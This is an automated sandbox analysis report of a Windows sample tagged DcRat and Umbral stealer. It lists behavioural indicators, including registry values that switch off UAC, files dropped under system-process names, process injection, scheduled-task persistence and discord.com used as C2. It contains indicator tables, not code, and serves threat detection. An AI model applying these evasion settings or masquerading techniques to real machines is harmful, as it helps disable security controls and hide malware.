Malware Analysis Report

2024-10-10 10:02

Sample ID 240511-yzpy2afc5x
Target 7ebabb8b4bb51cf.exe
SHA256 16771b819b03044356bad5b6d2a6b0f84e7fbd94c336743b58bbe5dc2e2ccbe8
Tags
dcrat umbral evasion execution infostealer rat spyware stealer trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

16771b819b03044356bad5b6d2a6b0f84e7fbd94c336743b58bbe5dc2e2ccbe8

Threat Level: Known bad

The file 7ebabb8b4bb51cf.exe was found to be: Known bad.

Malicious Activity Summary

dcrat umbral evasion execution infostealer rat spyware stealer trojan

Umbral

DcRat

Process spawned unexpected child process

Detect Umbral payload

UAC bypass

DCRat payload

Command and Scripting Interpreter: PowerShell

Drops file in Drivers directory

Reads user/profile data of web browsers

Loads dropped DLL

Executes dropped EXE

Checks computer location settings

Checks whether UAC is enabled

Looks up external IP address via web service

Legitimate hosting services abused for malware hosting/C2

Suspicious use of SetThreadContext

Drops file in Program Files directory

Drops file in Windows directory

Unsigned PE

Enumerates physical storage devices

System policy modification

Suspicious behavior: EnumeratesProcesses

Views/modifies file attributes

Suspicious use of WriteProcessMemory

Creates scheduled task(s)

Detects videocard installed

Uses Task Scheduler COM API

Modifies registry class

Uses Volume Shadow Copy service COM API

Suspicious use of AdjustPrivilegeToken

Suspicious behavior: GetForegroundWindowSpam

Runs ping.exe

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-05-11 20:13

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-05-11 20:13

Reported

2024-05-11 20:18

Platform

win7-20240215-en

Max time kernel

259s

Max time network

296s

Command Line

"C:\Users\Admin\AppData\Local\Temp\7ebabb8b4bb51cf.exe"

Signatures

DcRat

rat infostealer dcrat

Detect Umbral payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe

UAC bypass

evasion trojan
Description Indicator Process Target
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Users\Admin\AppData\Roaming\discord\savesref.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" C:\Users\Admin\AppData\Roaming\discord\savesref.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0" C:\Users\Admin\AppData\Roaming\discord\savesref.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Users\Admin\savesref.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" C:\Users\Admin\savesref.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0" C:\Users\Admin\savesref.exe N/A

Umbral

stealer umbral

DCRat payload

rat
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Drops file in Drivers directory

Description Indicator Process Target
File opened for modification C:\Windows\System32\drivers\etc\hosts C:\Users\Admin\AppData\Local\Temp\explorer.exe N/A

Reads user/profile data of web browsers

spyware stealer

Checks whether UAC is enabled

evasion trojan
Description Indicator Process Target
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Users\Admin\savesref.exe N/A
Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA C:\Users\Admin\AppData\Roaming\discord\savesref.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Users\Admin\AppData\Roaming\discord\savesref.exe N/A
Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA C:\Users\Admin\savesref.exe N/A

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
N/A discord.com N/A N/A
N/A discord.com N/A N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A ip-api.com N/A N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 1664 set thread context of 2956 N/A C:\Users\Admin\AppData\Local\Temp\7ebabb8b4bb51cf.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Drops file in Program Files directory

Description Indicator Process Target
File opened for modification C:\Program Files (x86)\Windows Media Player\ja-JP\RCX4ACF.tmp C:\Users\Admin\AppData\Roaming\discord\savesref.exe N/A
File created C:\Program Files\Internet Explorer\de-DE\7a0fd90576e088 C:\Users\Admin\AppData\Roaming\discord\savesref.exe N/A
File created C:\Program Files (x86)\Windows Media Player\ja-JP\wininit.exe C:\Users\Admin\AppData\Roaming\discord\savesref.exe N/A
File opened for modification C:\Program Files (x86)\Windows Sidebar\fr-FR\lsass.exe C:\Users\Admin\AppData\Roaming\discord\savesref.exe N/A
File opened for modification C:\Program Files\Internet Explorer\de-DE\RCX3663.tmp C:\Users\Admin\AppData\Roaming\discord\savesref.exe N/A
File opened for modification C:\Program Files\Internet Explorer\de-DE\explorer.exe C:\Users\Admin\AppData\Roaming\discord\savesref.exe N/A
File created C:\Program Files (x86)\Windows Sidebar\fr-FR\lsass.exe C:\Users\Admin\AppData\Roaming\discord\savesref.exe N/A
File opened for modification C:\Program Files (x86)\Windows Sidebar\fr-FR\RCX345D.tmp C:\Users\Admin\AppData\Roaming\discord\savesref.exe N/A
File opened for modification C:\Program Files (x86)\Windows Sidebar\fr-FR\RCX345E.tmp C:\Users\Admin\AppData\Roaming\discord\savesref.exe N/A
File created C:\Program Files\Internet Explorer\de-DE\explorer.exe C:\Users\Admin\AppData\Roaming\discord\savesref.exe N/A
File created C:\Program Files (x86)\Windows Media Player\ja-JP\56085415360792 C:\Users\Admin\AppData\Roaming\discord\savesref.exe N/A
File opened for modification C:\Program Files (x86)\Windows Media Player\ja-JP\RCX4ACE.tmp C:\Users\Admin\AppData\Roaming\discord\savesref.exe N/A
File created C:\Program Files (x86)\Windows Sidebar\fr-FR\6203df4a6bafc7 C:\Users\Admin\AppData\Roaming\discord\savesref.exe N/A
File opened for modification C:\Program Files\Internet Explorer\de-DE\RCX3662.tmp C:\Users\Admin\AppData\Roaming\discord\savesref.exe N/A
File opened for modification C:\Program Files (x86)\Windows Media Player\ja-JP\wininit.exe C:\Users\Admin\AppData\Roaming\discord\savesref.exe N/A

Drops file in Windows directory

Description Indicator Process Target
File opened for modification C:\Windows\Cursors\RCX3D4C.tmp C:\Users\Admin\AppData\Roaming\discord\savesref.exe N/A
File opened for modification C:\Windows\Cursors\conhost.exe C:\Users\Admin\AppData\Roaming\discord\savesref.exe N/A
File created C:\Windows\Cursors\conhost.exe C:\Users\Admin\AppData\Roaming\discord\savesref.exe N/A
File created C:\Windows\Cursors\088424020bedd6 C:\Users\Admin\AppData\Roaming\discord\savesref.exe N/A
File opened for modification C:\Windows\Cursors\RCX3CDE.tmp C:\Users\Admin\AppData\Roaming\discord\savesref.exe N/A

Enumerates physical storage devices

Creates scheduled task(s)

persistence
Description Indicator Process Target
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A

Detects videocard installed

Description Indicator Process Target
N/A N/A C:\Windows\System32\Wbem\wmic.exe N/A

Runs ping.exe

Description Indicator Process Target
N/A N/A C:\Windows\system32\PING.EXE N/A

Suspicious behavior: GetForegroundWindowSpam

Description Indicator Process Target
N/A N/A C:\Users\Admin\savesref.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\7ebabb8b4bb51cf.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\explorer.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\discord\savesref.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1664 wrote to memory of 2956 N/A C:\Users\Admin\AppData\Local\Temp\7ebabb8b4bb51cf.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 1664 wrote to memory of 2956 N/A C:\Users\Admin\AppData\Local\Temp\7ebabb8b4bb51cf.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 1664 wrote to memory of 2956 N/A C:\Users\Admin\AppData\Local\Temp\7ebabb8b4bb51cf.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 1664 wrote to memory of 2956 N/A C:\Users\Admin\AppData\Local\Temp\7ebabb8b4bb51cf.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 1664 wrote to memory of 2956 N/A C:\Users\Admin\AppData\Local\Temp\7ebabb8b4bb51cf.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 1664 wrote to memory of 2956 N/A C:\Users\Admin\AppData\Local\Temp\7ebabb8b4bb51cf.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 1664 wrote to memory of 2956 N/A C:\Users\Admin\AppData\Local\Temp\7ebabb8b4bb51cf.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 1664 wrote to memory of 2956 N/A C:\Users\Admin\AppData\Local\Temp\7ebabb8b4bb51cf.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 1664 wrote to memory of 2956 N/A C:\Users\Admin\AppData\Local\Temp\7ebabb8b4bb51cf.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 1664 wrote to memory of 2956 N/A C:\Users\Admin\AppData\Local\Temp\7ebabb8b4bb51cf.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 1664 wrote to memory of 2956 N/A C:\Users\Admin\AppData\Local\Temp\7ebabb8b4bb51cf.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 1664 wrote to memory of 2956 N/A C:\Users\Admin\AppData\Local\Temp\7ebabb8b4bb51cf.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 1664 wrote to memory of 2956 N/A C:\Users\Admin\AppData\Local\Temp\7ebabb8b4bb51cf.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 2956 wrote to memory of 2704 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe C:\Users\Admin\AppData\Local\Temp\svchost.exe
PID 2956 wrote to memory of 2704 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe C:\Users\Admin\AppData\Local\Temp\svchost.exe
PID 2956 wrote to memory of 2704 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe C:\Users\Admin\AppData\Local\Temp\svchost.exe
PID 2956 wrote to memory of 2704 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe C:\Users\Admin\AppData\Local\Temp\svchost.exe
PID 2956 wrote to memory of 2428 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe C:\Users\Admin\AppData\Local\Temp\explorer.exe
PID 2956 wrote to memory of 2428 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe C:\Users\Admin\AppData\Local\Temp\explorer.exe
PID 2956 wrote to memory of 2428 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe C:\Users\Admin\AppData\Local\Temp\explorer.exe
PID 2956 wrote to memory of 2428 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe C:\Users\Admin\AppData\Local\Temp\explorer.exe
PID 2704 wrote to memory of 2332 N/A C:\Users\Admin\AppData\Local\Temp\svchost.exe C:\Windows\SysWOW64\WScript.exe
PID 2704 wrote to memory of 2332 N/A C:\Users\Admin\AppData\Local\Temp\svchost.exe C:\Windows\SysWOW64\WScript.exe
PID 2704 wrote to memory of 2332 N/A C:\Users\Admin\AppData\Local\Temp\svchost.exe C:\Windows\SysWOW64\WScript.exe
PID 2704 wrote to memory of 2332 N/A C:\Users\Admin\AppData\Local\Temp\svchost.exe C:\Windows\SysWOW64\WScript.exe
PID 2428 wrote to memory of 2680 N/A C:\Users\Admin\AppData\Local\Temp\explorer.exe C:\Windows\system32\attrib.exe
PID 2428 wrote to memory of 2680 N/A C:\Users\Admin\AppData\Local\Temp\explorer.exe C:\Windows\system32\attrib.exe
PID 2428 wrote to memory of 2680 N/A C:\Users\Admin\AppData\Local\Temp\explorer.exe C:\Windows\system32\attrib.exe
PID 2428 wrote to memory of 2668 N/A C:\Users\Admin\AppData\Local\Temp\explorer.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2428 wrote to memory of 2668 N/A C:\Users\Admin\AppData\Local\Temp\explorer.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2428 wrote to memory of 2668 N/A C:\Users\Admin\AppData\Local\Temp\explorer.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2428 wrote to memory of 2300 N/A C:\Users\Admin\AppData\Local\Temp\explorer.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2428 wrote to memory of 2300 N/A C:\Users\Admin\AppData\Local\Temp\explorer.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2428 wrote to memory of 2300 N/A C:\Users\Admin\AppData\Local\Temp\explorer.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2428 wrote to memory of 1908 N/A C:\Users\Admin\AppData\Local\Temp\explorer.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2428 wrote to memory of 1908 N/A C:\Users\Admin\AppData\Local\Temp\explorer.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2428 wrote to memory of 1908 N/A C:\Users\Admin\AppData\Local\Temp\explorer.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2332 wrote to memory of 1376 N/A C:\Windows\SysWOW64\WScript.exe C:\Windows\SysWOW64\cmd.exe
PID 2332 wrote to memory of 1376 N/A C:\Windows\SysWOW64\WScript.exe C:\Windows\SysWOW64\cmd.exe
PID 2332 wrote to memory of 1376 N/A C:\Windows\SysWOW64\WScript.exe C:\Windows\SysWOW64\cmd.exe
PID 2332 wrote to memory of 1376 N/A C:\Windows\SysWOW64\WScript.exe C:\Windows\SysWOW64\cmd.exe
PID 2428 wrote to memory of 1708 N/A C:\Users\Admin\AppData\Local\Temp\explorer.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2428 wrote to memory of 1708 N/A C:\Users\Admin\AppData\Local\Temp\explorer.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2428 wrote to memory of 1708 N/A C:\Users\Admin\AppData\Local\Temp\explorer.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1376 wrote to memory of 2216 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Roaming\discord\savesref.exe
PID 1376 wrote to memory of 2216 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Roaming\discord\savesref.exe
PID 1376 wrote to memory of 2216 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Roaming\discord\savesref.exe
PID 1376 wrote to memory of 2216 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Roaming\discord\savesref.exe
PID 2428 wrote to memory of 724 N/A C:\Users\Admin\AppData\Local\Temp\explorer.exe C:\Windows\System32\Wbem\wmic.exe
PID 2428 wrote to memory of 724 N/A C:\Users\Admin\AppData\Local\Temp\explorer.exe C:\Windows\System32\Wbem\wmic.exe
PID 2428 wrote to memory of 724 N/A C:\Users\Admin\AppData\Local\Temp\explorer.exe C:\Windows\System32\Wbem\wmic.exe
PID 2428 wrote to memory of 2556 N/A C:\Users\Admin\AppData\Local\Temp\explorer.exe C:\Windows\System32\Wbem\wmic.exe
PID 2428 wrote to memory of 2556 N/A C:\Users\Admin\AppData\Local\Temp\explorer.exe C:\Windows\System32\Wbem\wmic.exe
PID 2428 wrote to memory of 2556 N/A C:\Users\Admin\AppData\Local\Temp\explorer.exe C:\Windows\System32\Wbem\wmic.exe
PID 2428 wrote to memory of 2552 N/A C:\Users\Admin\AppData\Local\Temp\explorer.exe C:\Windows\System32\Wbem\wmic.exe
PID 2428 wrote to memory of 2552 N/A C:\Users\Admin\AppData\Local\Temp\explorer.exe C:\Windows\System32\Wbem\wmic.exe
PID 2428 wrote to memory of 2552 N/A C:\Users\Admin\AppData\Local\Temp\explorer.exe C:\Windows\System32\Wbem\wmic.exe
PID 2428 wrote to memory of 2676 N/A C:\Users\Admin\AppData\Local\Temp\explorer.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2428 wrote to memory of 2676 N/A C:\Users\Admin\AppData\Local\Temp\explorer.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2428 wrote to memory of 2676 N/A C:\Users\Admin\AppData\Local\Temp\explorer.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2428 wrote to memory of 1992 N/A C:\Users\Admin\AppData\Local\Temp\explorer.exe C:\Windows\System32\Wbem\wmic.exe
